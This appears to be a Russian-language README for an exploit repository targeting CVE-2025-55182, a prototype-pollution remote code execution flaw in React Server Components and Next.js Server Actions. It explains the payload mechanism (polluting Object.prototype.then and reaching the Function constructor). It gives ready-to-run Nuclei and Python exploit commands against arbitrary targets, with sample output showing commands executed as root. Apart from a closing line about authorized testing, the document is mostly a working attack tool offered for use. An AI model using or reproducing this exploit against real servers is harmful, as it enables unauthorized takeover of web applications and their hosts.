
CVE-2025-55182 — Эксплойт и сканер RCE для React Server Components Поддерживает внешние серверы и CLI-интерфейс
Полнофункциональный эксплойт удалённого выполнения кода и сканер для CVE-2025-55182 в React/Next.js Server Actions.
Оригинальный PoC: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 — это критическая уязвимость загрязнения прототипа (prototype pollution) в React Server Components, которая позволяет выполнять удалённый код. Этот репозиторий предоставляет как инструменты автоматического сканирования (шаблон Nuclei), так и инструменты ручной эксплуатации (Python-скрипт).
Механизм уязвимости:
Эксплойт использует загрязнение прототипа при десериализации React Flight Protocol. Он загрязняет Object.prototype.then через "$1:__proto__:then" и получает доступ к конструктору Function через _formData.get, установленный в "$1:constructor:constructor", затем внедряет вредоносный код через _prefix, который выполняется с помощью Function().
cve-2025-55182.yaml)Автоматический сканер уязвимостей, который выполняет команду id и получает вывод через заголовок X-Action-Redirect.
Использование:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
Возможности:
id) для проверки RCECVE-2025-55182.py)Полнофункциональный скрипт эксплойта RCE, который выполняет произвольные команды и получает вывод.
Использование:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
Возможности:
X-Action-Redirect$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ